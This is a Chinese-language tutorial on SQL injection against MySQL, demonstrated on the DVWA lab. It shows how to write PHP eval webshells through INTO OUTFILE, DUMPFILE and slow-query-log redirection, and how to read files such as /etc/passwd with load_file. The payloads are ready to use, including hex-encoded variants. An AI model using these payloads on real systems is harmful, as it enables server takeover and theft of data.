sqli-Mysql寫shell/讀檔案
目錄
1 匯出函式寫shell
利用Mysql的匯出函式直接寫一個可訪問的webshell
1.1 條件
- 網站可訪問路徑的絕對路徑
-
報錯
輸入異常值讓指令碼主動報錯,或googlehacking目標的指令碼報錯資訊
-
phpinfo
掃目錄找phpinfo
-
推測
目標可能使用整合安裝包,如phpstudyC:\phpStudy\WWW\
C:\phpStudy\WWW\域名\
-
列舉
高頻絕對路徑
- secure_file_priv 的值非NULL或包含了匯出的絕對路徑
secure_file_priv的值在mysql配置檔案my.ini中設定,這個引數用來限制資料匯入匯出
Mysql>=5.5.53 預設為NULL,即預設禁止匯入匯出
Mysql<5.5.53 預設為空,即預設無限制
-
secure_file_priv值為NULL = 禁止匯入匯出
-
secure_file_priv值無具體值/為空 = 無限制
-
secure_file_priv值為某目錄 = 僅允許在該目錄下匯入匯出
-
檢視secure_file_priv值的方法
show global variables like '%secure%';
select file_priv from mysql.user;
- mysql服務有對網站可訪問路徑的寫許可權
- mysql連線使用者有FILE許可權/ROOT使用者或ROOT許可權
1.2 匯出函式:outfile 和 dumpfile
- outfile
select '<?php phpinfo(); ?>' into outfile "C:\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
需要注意的點:
-
outfile 可匯出多行,並會在每⾏的結束加上換⾏符
如果test表中的內容有多行
匯出效果
-
outfile 將資料寫到檔案裡時有特殊的格式轉換
a\naa\raaaa
寫入時\n
被轉義,並且檔案末尾加了一個新行
導致寫shell時要注意特殊字元 -
outfile 的路徑不能是0x開頭或者char轉換以後的路徑,只能是引號包裹的路徑
導致寫shell時無法通過hex編碼或char()來bypass引號轉義等 -
檔案不能覆蓋寫入,所以寫入檔案必須為不存在
- dumpfile
select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
需要注意的點:
-
dumpfile 只能匯出一行
-
dumpfile 在寫⽂件時會保持⽂件的原⽣內容/原資料格式,適合寫二進位制檔案,如exe檔案,udf提權的dll檔案
-
dumpfile 的路徑不能是0x開頭或者char轉換以後的路徑
-
檔案不能覆蓋寫入,所以寫入檔案必須為不存在
- 補充:利用匯出函式的補充引數寫shell
select * from student into outfile "C:/phpStudy/MySQL/bin/test.php" LINES STARTING BY '<?php @eval($_POST[pass]);?>';
FIELDS TERMINATED BY ',' = 欄位值之間以,分割
OPTIONALLY ENCLOSED BY ' " ' = 欄位值以"包裹
LINES TERMINATED BY '\n' = 設定每⾏資料結尾的字元為換行符
某些情況,如select只有一個數字型欄位,聯合查詢無法寫shell或注入點在limit等不能union的語句之後
1.3 寫shell演示
dvwa-low-sqli
- 一句話 outfile 直接寫
- 直接寫
-1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#
- shell HEX編碼
id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#
寫入成功,連線測試成功
- 一句話 寫入資料庫 再 outfile
因為dvwa-low-sqli使用的是 mysqli_query() ,一次執行一條sql語句,無法堆疊,修改成 mysqli_multi_query 演示
id=-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c']);?>","shell") ;#
id=-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';#
寫入成功,連線測試成功
2 日誌寫shell
將日誌改為指令碼檔案,將shell記錄進日誌來寫shell
2.1 條件
與匯出函式寫Shell相比,規避了 secure_file_priv 的限制
- 網站可訪問路徑的絕對路徑
- mysql服務有對網站可訪問路徑的寫許可權
- mysql連線使用者有許可權開啟日誌記錄和更換日誌路徑
2.2 mysql日誌
mysql日誌主要包含:錯誤日誌、查詢日誌、慢查詢日誌、事務日誌、二進位制日誌
mysql日誌詳解:https://blog.51cto.com/pangge/1319304
演示用的是慢查詢日誌,所以這裡主要講下慢查詢日誌
- 慢查詢日誌
慢查詢日誌是用來記錄執行時間超過指定時間的查詢語句。
檢視日誌情況:SHOW GLOBAL VARIABLES LIKE '%log%';
slow_query_log :表示慢查詢日誌是否開啟,ON表示開啟,OFF表示未開啟,預設OFF
slow_query_log_file :表示慢查詢日誌檔案的路徑
檢視超過多少時間會被記錄慢查詢日誌(預設10s):SHOW GLOBAL VARIABLES LIKE 'long%';
其中,日誌檔案可以改路徑也可以改檔案字尾,這意味著可以將其改成網站目錄下的php指令碼檔案,再通過慢查詢將shell寫入,最後成為webshell
開啟慢查詢日誌:set global slow_query_log = 1;
更改日誌路徑:set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';
- 其他日誌
都是一樣的思路,開啟日誌記錄,更改路徑成指令碼檔案
構造含有一句話且滿足記錄日誌條件的語句執行,將shell寫入日誌指令碼檔案成webshell
2.3 演示
dvwa-low-sqli,修改mysqli_query() 為 mysqli_multi_query 演示
- 開啟日誌並修改日誌為網站路徑下的指令碼
-1';set global slow_query_log = 1;set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';#
- 執行包含Shell的查詢語句並使用sleep(11)讓語句記錄進慢查詢日誌指令碼
-1';select "<?php eval($_POST[log]);?>" from users where sleep(11);#
- 連線成功
3 讀檔案函式讀檔案
3.1 條件
- 所讀檔案的絕對路徑
- secure_file_priv 的值非NULL或包含了所讀檔案的絕對路徑
- mysql服務有對所讀檔案的讀許可權
- mysql連線使用者有FILE許可權/ROOT使用者或ROOT許可權
3.2 讀檔案函式:load_file()
load_file()
select load_file('絕對路徑');
與outfile/dumpfile不同的是,load_file的路徑可被hex編碼
select load_file(0x2F6574632F706173737764);
3.3 演示
dvwa-low-sqli
load_file()
-1'union select 1,load_file('C:/phpStudy/WWW/readme.txt');#
-1'union select 1,load_file(0x433A2F70687053747564792F5757572F726561646D652E747874);#